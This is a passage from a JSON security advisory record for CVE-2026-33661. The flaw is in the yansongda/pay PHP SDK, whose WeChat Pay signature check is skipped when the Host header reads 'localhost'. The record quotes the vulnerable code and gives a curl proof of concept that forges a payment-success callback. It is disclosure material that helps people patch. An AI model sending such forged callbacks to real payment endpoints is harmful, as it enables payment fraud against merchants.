"purl": "pkg:composer/yansongda/pay@v3.7.5" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.7.6", "product": { "name": "vers:unknown/v3.7.6", "product_id": "CSAFPID-5913487", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.7.6" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.7.7", "product": { "name": "vers:unknown/v3.7.7", "product_id": "CSAFPID-5913488", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.7.7" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.7.8", "product": { "name": "vers:unknown/v3.7.8", "product_id": "CSAFPID-5913489", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.7.8" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.7.9", "product": { "name": "vers:unknown/v3.7.9", "product_id": "CSAFPID-5913490", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.7.9" } } } ], "category": "product_name", "name": "pay" } ], "category": "vendor", "name": "yansongda" } ] }, "vulnerabilities": [ { "cve": "CVE-2026-33661", "cwe": { "id": "CWE-290", "name": "Authentication Bypass by Spoofing" }, "notes": [ { "category": "description", "text": "## Summary\n\nThe `verify_wechat_sign()` function in `src/Functions.php` unconditionally **skips all signature verification** when the PSR-7 request reports `localhost` as the host. An attacker can exploit this by sending a crafted HTTP request to the WeChat Pay callback endpoint with a `Host: localhost` header, bypassing the RSA signature check entirely.\n\nThis allows forging fake WeChat Pay payment success notifications, potentially causing applications to mark orders as paid without actual payment.\n\n## Vulnerable Code\n\n**`src/Functions.php` lines 243-246:**\n```php\nfunction verify_wechat_sign(ResponseInterface|ServerRequestInterface $message, array $params): void\n{\n // BYPASS: Returns without any signature check if Host header is localhost\n if ($message instanceof ServerRequestInterface && 'localhost' === $message->getUri()->getHost()) {\n return; // No signature verified!\n }\n\n // ... openssl_verify() only reached when Host != localhost\n $wechatSerial = $message->getHeaderLine('Wechatpay-Serial');\n $sign = $message->getHeaderLine('Wechatpay-Signature');\n $result = 1 === openssl_verify($content, base64_decode($sign), $public, 'sha256WithRSAEncryption');\n}\n```\n\nIn PSR-7 implementations (Nyholm, Guzzle PSR-7, etc.), `$request->getUri()->getHost()` reads the `Host` HTTP header, which is fully attacker-controlled.\n\n## Proof of Concept\n\n```bash\ncurl -X POST https://merchant.example.com/payment/wechat/callback \\\n -H \"Host: localhost\" \\\n -H \"Content-Type: application/json\" \\\n -H \"Wechatpay-Serial: any\" \\\n -H \"Wechatpay-Timestamp: 1234567890\" \\\n -H \"Wechatpay-Nonce: abc\" \\\n -H \"Wechatpay-Signature: AAAA\" \\\n -d '{\"id\":\"fake-order\",\"event_type\":\"TRANSACTION.SUCCESS\"}'\n```\n\n`verify_wechat_sign()` returns immediately without verifying the signature. The application marks the order as paid.\n\n## Impact\n\n- **Payment fraud**: Attacker receives goods/services without actual payment by forging WeChat Pay callbacks\n- **No authentication required**: Pure network attack, zero privileges needed\n- **Wide reach**: Affects any application using `yansongda/pay` for WeChat Pay callback validation. However, in most environments, Nginx/Ingress/Cloudflare/WAF will directly reject the forgery of this request header, so there is no need to worry too much.", "title": "github - https://api.github.com/advisories/GHSA-q938-ghwv-8gvc" }, { "category": "description", "text": "## Summary\n\nThe `verify_wechat_sign()` function in `src/Functions.php` unconditionally **skips all signature verification** when the PSR-7 request reports `localhost` as the host. An attacker can exploit this by sending a crafted HTTP request to the WeChat Pay callback endpoint with a `Host: localhost` header, bypassing the RSA signature check entirely.\n\nThis allows forging fake WeChat Pay payment success notifications, potentially causing applications to mark orders as paid without actual payment.\n\n## Vulnerable Code\n\n**`src/Functions.php` lines 243-246:**\n```php\nfunction verify_wechat_sign(ResponseInterface|ServerRequestInterface $message, array $params): void\n{\n // BYPASS: Returns without any signature check if Host header is localhost\n if ($message instanceof ServerRequestInterface && 'localhost' === $message->getUri()->getHost()) {\n return; // No signature verified!\n }\n\n // ... openssl_verify() only reached when Host != localhost\n $wechatSerial = $message->getHeaderLine('Wechatpay-Serial');\n $sign = $message->getHeaderLine('Wechatpay-Signature');\n $result = 1 === openssl_verify($content, base64_decode($sign), $public, 'sha256WithRSAEncryption');\n}\n```\n\nIn PSR-7 implementations (Nyholm, Guzzle PSR-7, etc.), `$request->getUri()->getHost()` reads the `Host` HTTP header, which is fully attacker-controlled.\n\n## Proof of Concept\n\n```bash\ncurl -X POST https://merchant.example.com/payment/wechat/callback \\\n -H \"Host: localhost\" \\\n -H \"Content-Type: application/json\" \\\n -H \"Wechatpay-Serial: any\" \\\n -H \"Wechatpay-Timestamp: 1234567890\" \\\n -H \"Wechatpay-Nonce: abc\" \\\n -H \"Wechatpay-Signature: AAAA\" \\\n -d '{\"id\":\"fake-order\",\"event_type\":\"TRANSACTION.SUCCESS\"}'\n```\n\n`verify_wechat_sign()` returns immediately without verifying the signature. The application marks the order as paid.\n\n## Impact\n\n- **Payment fraud**: Attacker receives goods/services without actual payment by forging WeChat Pay callbacks\n- **No authentication required**: Pure network attack, zero privileges needed\n- **Wide reach**: Affects any application using `yansongda/pay` for WeChat Pay callback validation. However, in most environments, Nginx/Ingress/Cloudflare/WAF will directly reject the forgery of this request header, so there is no need to worry too much.", "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Packagist%2FGHSA-q938-ghwv-8gvc.json?alt=media" }, { "category": "description", "text": "Pay is an open-source payment SDK extension package for various Chinese payment services. Prior to version 3.7.20, the `verify_wechat_sign()` function in `src/Functions.php` unconditionally skips all signature verification when the PSR-7 request reports `localhost` as the host. An attacker can exploit this by sending a crafted HTTP request to the WeChat Pay callback endpoint with a `Host: localhost` header, bypassing the RSA signature check entirely. This allows forging fake WeChat Pay payment success notifications, potentially causing applications to mark orders as paid without actual payment. Version 3.7.20 fixes the issue.", "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33661.json" }, { "category": "description", "text": "Pay is an open-source payment SDK extension package for various Chinese payment services. Prior to version 3.7.20, the `verify_wechat_sign()` function in `src/Functions.php` unconditionally skips all signature verification when the PSR-7 request reports `localhost` as the host. An attacker can exploit this by sending a crafted HTTP request to the WeChat Pay callback endpoint with a `Host: localhost` header, bypassing the RSA signature check entirely. This allows forging fake WeChat Pay payment success notifications, potentially causing applications to mark orders as paid without actual payment. Version 3.7.20 fixes the issue.", "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33661" }, { "category": "other", "text": "0.00129", "title": "EPSS" }, { "category": "other", "text": "3.6", "title": "NCSC Score" }, { "category": "other", "text": "Exploit code publicly available, There is exploit data available from source Nvd, Is related to (a version of) an uncommon product", "title": "NCSC Score top decreasing factors" } ], "product_status": { "known_affected": [ "CSAFPID-5913238", "CSAFPID-5913239", "CSAFPID-5913240", "CSAFPID-5913241", "CSAFPID-5913242", "CSAFPID-5913243", "CSAFPID-5913244", "CSAFPID-5913245", "CSAFPID-5913246", "CSAFPID-5913247", "CSAFPID-5913248", "CSAFPID-5913249", "CSAFPID-5913250", "CSAFPID-5913251", "CSAFPID-5913252", "CSAFPID-5913253", "CSAFPID-5913254", "CSAFPID-5913255", "CSAFPID-5913256", "CSAFPID-5913257", "CSAFPID-5913258", "CSAFPID-5913259", "CSAFPID-5913260", "CSAFPID-5913261", "CSAFPID-5913262", "CSAFPID-5913263", "CSAFPID-5913264", "CSAFPID-5913265", "CSAFPID-5913266", "CSAFPID-5913267", "CSAFPID-5913268", "CSAFPID-5913269", "CSAFPID-5913270", "CSAFPID-5913271", "CSAFPID-5913272", "CSAFPID-5913273", "CSAFPID-5913274", "CSAFPID-5913275", "CSAFPID-5913276", "CSAFPID-5913277", "CSAFPID-5913278", "CSAFPID-5913279", "CSAFPID-5913280", "CSAFPID-5913281", "CSAFPID-5913282", "CSAFPID-5913283", "CSAFPID-5913284", "CSAFPID-5913285", "CSAFPID-5913286", "CSAFPID-5913287", "CSAFPID-5913288", "CSAFPID-5913289", "CSAFPID-5913290", "CSAFPID-5913291", "CSAFPID-5913292", "CSAFPID-5913293", "CSAFPID-5913294", "CSAFPID-5913295", "CSAFPID-5913296", "CSAFPID-5913297", "CSAFPID-5913298", "CSAFPID-5913299", "CSAFPID-5913300", "CSAFPID-5913301", "CSAFPID-5913302", "CSAFPID-5913303", "CSAFPID-5913304", "CSAFPID-5913305", "CSAFPID-5913306", "CSAFPID-5913307", "CSAFPID-5913308", "CSAFPID-5913309", "CSAFPID-5913310", "CSAFPID-5913311", "CSAFPID-5913312", "CSAFPID-5913313", "CSAFPID-5913314", "CSAFPID-5913315", "CSAFPID-5913316", "CSAFPID-5913317", "CSAFPID-5913318", "CSAFPID-5913319", "CSAFPID-5913320", "CSAFPID-5913321", "CSAFPID-5913322", "CSAFPID-5913323", "CSAFPID-5913324", "CSAFPID-5913325", "CSAFPID-5913326", "CSAFPID-5913327", "CSAFPID-5913328", "CSAFPID-5913329", "CSAFPID-5913330", "CSAFPID-5913331", "CSAFPID-5913332", "CSAFPID-5913333", "CSAFPID-5913334", "CSAFPID-5913335", "CSAFPID-5913336", "CSAFPID-5913337", "CSAFPID-5913338", "CSAFPID-5913339", "CSAFPID-5913340", "CSAFPID-5913341", "CSAFPID-5913342", "CSAFPID-5913343", "CSAFPID-5913344", "CSAFPID-5913345", "CSAFPID-5913346", "CSAFPID-5913347", "CSAFPID-5913348", "CSAFPID-5913349", "CSAFPID-5913350", "CSAFPID-5913351", "CSAFPID-5913352", "CSAFPID-5913353", "CSAFPID-5913354", "CSAFPID-5913355", "CSAFPID-5913356", "CSAFPID-5913357", "CSAFPID-5913358", "CSAFPID-5913359", "CSAFPID-5913360", "CSAFPID-5913361", "CSAFPID-5913362", "CSAFPID-5913363", "CSAFPID-5913364", "CSAFPID-5913365", "CSAFPID-5913366", "CSAFPID-5913367", "CSAFPID-5913368", "CSAFPID-5913369", "CSAFPID-5913370", "CSAFPID-5913371", "CSAFPID-5913372", "CSAFPID-5913373", "CSAFPID-5913374", "CSAFPID-5913375", "CSAFPID-5913376", "CSAFPID-5913377", "CSAFPID-5913378", "CSAFPID-5913379", "CSAFPID-5913380", "CSAFPID-5913381", "CSAFPID-5913382", "CSAFPID-5913383", "CSAFPID-5913384", "CSAFPID-5913385", "CSAFPID-5913386", "CSAFPID-5913387", "CSAFPID-5913388", "CSAFPID-5913389", "CSAFPID-5913390", "CSAFPID-5913391", "CSAFPID-5913392", "CSAFPID-5913393", "CSAFPID-5913394", "CSAFPID-5913395", "CSAFPID-5913396", "CSAFPID-5913397", "CSAFPID-5913398", "CSAFPID-5913399", "CSAFPID-5913400", "CSAFPID-5913401", "CSAFPID-5913402", "CSAFPID-5913403", "CSAFPID-5913404", "CSAFPID-5913405", "CSAFPID-5913406", "CSAFPID-5913407", "CSAFPID-5913408", "CSAFPID-5913409", "CSAFPID-5913410", "CSAFPID-5913411", "CSAFPID-5913412", "CSAFPID-5913413", "CSAFPID-5913414", "CSAFPID-5913415", "CSAFPID-5913416", "CSAFPID-5913417", "CSAFPID-5913418", "CSAFPID-5913419", "CSAFPID-5913420", "CSAFPID-5913421", "CSAFPID-5913422", "CSAFPID-5913423", "CSAFPID-5913424", "CSAFPID-5913425", "CSAFPID-5913426", "CSAFPID-5913427", "CSAFPID-5913428", "CSAFPID-5913429", "CSAFPID-5913430", "CSAFPID-5913431", "CSAFPID-5913432", "CSAFPID-5913433", "CSAFPID-5913434", "CSAFPID-5913435", "CSAFPID-5913436", "CSAFPID-5913437", "CSAFPID-5913438", "CSAFPID-5913439", "CSAFPID-5913440", "CSAFPID-5913441", "CSAFPID-5913442", "CSAFPID-5913443", "CSAFPID-5913444", "CSAFPID-5913445", "CSAFPID-5913446", "CSAFPID-5913447", "CSAFPID-5913448", "CSAFPID-5913449", "CSAFPID-5913450", "CSAFPID-5913451", "CSAFPID-5913452", "CSAFPID-5913453", "CSAFPID-5913454", "CSAFPID-5913455", "CSAFPID-5913456", "CSAFPID-5913457", "CSAFPID-5913458", "CSAFPID-5913459", "CSAFPID-5913460", "CSAFPID-5913461", "CSAFPID-5913462", "CSAFPID-5913463", "CSAFPID-5913464", "CSAFPID-5913465", "CSAFPID-5913466", "CSAFPID-5913467", "CSAFPID-5913468", "CSAFPID-5913469", "CSAFPID-5913470", "CSAFPID-5913471", "CSAFPID-5913472", "CSAFPID-5913473", "CSAFPID-5913474", "CSAFPID-5913475", "CSAFPID-5913476", "CSAFPID-5913477", "CSAFPID-5913478", "CSAFPID-5913479", "CSAFPID-5913480", "CSAFPID-5913481", "CSAFPID-5913482", "CSAFPID-5913483", "CSAFPID-5913484", "CSAFPID-5913485", "CSAFPID-5913486", "CSAFPID-5913487", "CSAFPID-5913488", "CSAFPID-5913489", "CSAFPID-5913490", "CSAFPID-5913491", "CSAFPID-5919307" ] }, "references": [ { "category": "external", "summary": "Source - github", "url": "https://api.github.com/advisories/GHSA-q938-ghwv-8gvc" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Packagist%2FGHSA-q938-ghwv-8gvc.json?alt=media" }, { "category": "external", "summary": "Source - cveprojectv5", "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33661.json" }, { "category": "external", "summary": "Source - nvd", "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33661" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; osv", "url": "https://github.com/yansongda/pay/security/advisories/GHSA-q938-ghwv-8gvc" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; osv", "url": "https://github.com/yansongda/pay/commit/26987ebf789f1e7f0a85febb640986ab4289fd7f" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; osv", "url": "https://github.com/yansongda/pay/releases/tag/v3.7.20" }, { "category": "external", "summary": "Reference - github", "url": "https://github.com/advisories/GHSA-q938-ghwv-8gvc" }, { "category": "external", "summary": "Reference - github", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33661" } ], "scores": [ { "cvss_v3": { "version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "baseScore": 8.6, "baseSeverity": "HIGH" }, "products": [ "CSAFPID-5913238", "CSAFPID-5913239", "CSAFPID-5913240", "CSAFPID-5913241", "CSAFPID-5913242", "CSAFPID-5913243", "CSAFPID-5913244", "CSAFPID-5913245", "CSAFPID-5913246", "CSAFPID-5913247", "CSAFPID-5913248", "CSAFPID-5913249", "CSAFPID-5913250", "CSAFPID-5913251", "CSAFPID-5913252", "CSAFPID-5913253", "CSAFPID-5913254", "CSAFPID-5913255", "CSAFPID-5913256", "CSAFPID-5913257", "CSAFPID-5913258", "CSAFPID-5913259", "CSAFPID-5913260", "CSAFPID-5913261", "CSAFPID-5913262", "CSAFPID-5913263", "CSAFPID-5913264", "CSAFPID-5913265", "CSAFPID-5913266", "CSAFPID-5913267", "CSAFPID-5913268", "CSAFPID-5913269", "CSAFPID-5913270", "CSAFPID-5913271", "CSAFPID-5913272", "CSAFPID-5913273", "CSAFPID-5913274", "CSAFPID-5913275", "CSAFPID-5913276", "CSAFPID-5913277", "CSAFPID-5913278", "CSAFPID-5913279", "CSAFPID-5913280", "CSAFPID-5913281", "CSAFPID-5913282", "CSAFPID-5913283", "CSAFPID-5913284", "CSAFPID-5913285", "CSAFPID-5913286", "CSAFPID-5913287", "CSAFPID-5913288", "CSAFPID-5913289", "CSAFPID-5913290", "CSAFPID-5913291", "CSAFPID-5913292", "CSAFPID-5913293", "CSAFPID-5913294", "CSAFPID-5913295", "CSAFPID-5913296", "CSAFPID-5913297", "CSAFPID-5913298", "CSAFPID-5913299", "CSAFPID-5913300", "CSAFPID-5913301", "CSAFPID-5913302", "CSAFPID-5913303", "CSAFPID-5913304", "CSAFPID-5913305", "CSAFPID-5913306", "CSAFPID-5913307", "CSAFPID-5913308", "CSAFPID-5913309", "CSAFPID-5913310", "CSAFPID-5913311", "CSAFPID-5913312", "CSAFPID-5913313", "CSAFPID-5913314", "CSAFPID-5913315", "CSAFPID-5913316", "CSAFPID-5913317", "CSAFPID-5913318", "CSAFPID-5913319", "CSAFPID-5913320", "CSAFPID-5913321", "CSAFPID-5913322", "CSAFPID-5913323", "CSAFPID-5913324", "CSAFPID-5913325", "CSAFPID-5913326", "CSAFPID-5913327", "CSAFPID-5913328", "CSAFPID-5913329", "CSAFPID-5913330", "CSAFPID-5913331", "CSAFPID-5913332", "CSAFPID-5913333", "CSAFPID-5913334", "CSAFPID-5913335", "CSAFPID-5913336", "CSAFPID-5913337", "CSAFPID-5913338", "CSAFPID-5913339", "CSAFPID-5913340", "CSAFPID-5913341", "CSAFPID-5913342", "CSAFPID-5913343", "CSAFPID-5913344", "CSAFPID-5913345", "CSAFPID-5913346", "CSAFPID-5913347", "CSAFPID-5913348", "CSAFPID-5913349", "CSAFPID-5913350", "CSAFPID-5913351", "CSAFPID-5913352", "CSAFPID-5913353", "CSAFPID-5913354", "CSAFPID-5913355", "CSAFPID-5913356", "CSAFPID-5913357", "CSAFPID-5913358", "CSAFPID-5913359", "CSAFPID-5913360", "CSAFPID-5913361", "CSAFPID-5913362", "CSAFPID-5913363", "CSAFPID-5913364", "CSAFPID-5913365", "CSAFPID-5913366", "CSAFPID-5913367", "CSAFPID-5913368", "CSAFPID-5913369", "CSAFPID-5913370", "CSAFPID-5913371", "CSAFPID-5913372", "CSAFPID-5913373", "CSAFPID-5913374", "CSAFPID-5913375", "CSAFPID-5913376", "CSAFPID-5913377", "CSAFPID-5913378", "CSAFPID-5913379", "CSAFPID-5913380", "CSAFPID-5913381", "CSAFPID-5913382", "CSAFPID-5913383", "CSAFPID-5913384", "CSAFPID-5913385", "CSAFPID-5913386", "CSAFPID-5913387", "CSAFPID-5913388", "CSAFPID-5913389", "CSAFPID-5913390", "CSAFPID-5913391", "CSAFPID-5913392", "CSAFPID-5913393", "CSAFPID-5913394", "CSAFPID-5913395", "CSAFPID-5913396", "CSAFPID-5913397", "CSAFPID-5913398", "CSAFPID-5913399", "CSAFPID-5913400", "CSAFPID-5913401", "CSAFPID-5913402", "CSAFPID-5913403", "CSAFPID-5913404", "CSAFPID-5913405", "CSAFPID-5913406", "CSAFPID-5913407", "CSAFPID-5913408", "CSAFPID-5913409", "CSAFPID-5913410", "CSAFPID-5913411", "CSAFPID-5913412", "CSAFPID-5913413", "CSAFPID-5913414", "CSAFPID-5913415", "CSAFPID-5913416", "CSAFPID-5913417", "CSAFPID-5913418", "CSAFPID-5913419", "CSAFPID-5913420", "CSAFPID-5913421", "CSAFPID-5913422", "CSAFPID-5913423", "CSAFPID-5913424", "CSAFPID-5913425", "CSAFPID-5913426", "CSAFPID-5913427", "CSAFPID-5913428", "CSAFPID-5913429", "CSAFPID-5913430", "CSAFPID-5913431", "CSAFPID-5913432", "CSAFPID-5913433", "CSAFPID-5913434", "CSAFPID-5913435", "CSAFPID-5913436", "CSAFPID-5913437", "CSAFPID-5913438", "CSAFPID-5913439", "CSAFPID-5913440", "CSAFPID-5913441", "CSAFPID-5913442", "CSAFPID-5913443", "CSAFPID-5913444", "CSAFPID-5913445", "CSAFPID-5913446", "CSAFPID-5913447", "CSAFPID-5913448", "CSAFPID-5913449", "CSAFPID-5913450", "CSAFPID-5913451", "CSAFPID-5913452", "CSAFPID-5913453", "CSAFPID-5913454", "CSAFPID-5913455", "CSAFPID-5913456", "CSAFPID-5913457", "CSAFPID-5913458", "CSAFPID-5913459", "CSAFPID-5913460", "CSAFPID-5913461", "CSAFPID-5913462", "CSAFPID-5913463", "CSAFPID-5913464", "CSAFPID-5913465", "CSAFPID-5913466", "CSAFPID-5913467", "CSAFPID-5913468", "CSAFPID-5913469", "CSAFPID-5913470", "CSAFPID-5913471", "CSAFPID-5913472", "CSAFPID-5913473", "CSAFPID-5913474", "CSAFPID-5913475", "CSAFPID-5913476", "CSAFPID-5913477", "CSAFPID-5913478", "CSAFPID-5913479", "CSAFPID-5913480", "CSAFPID-5913481", "CSAFPID-5913482", "CSAFPID-5913483", "CSAFPID-5913484", "CSAFPID-5913485", "CSAFPID-5913486", "CSAFPID-5913487", "CSAFPID-5913488", "CSAFPID-5913489", "CSAFPID-5913490", "CSAFPID-5913491", "CSAFPID-5919307" ] } ], "title": "CVE-2026-33661" } ] }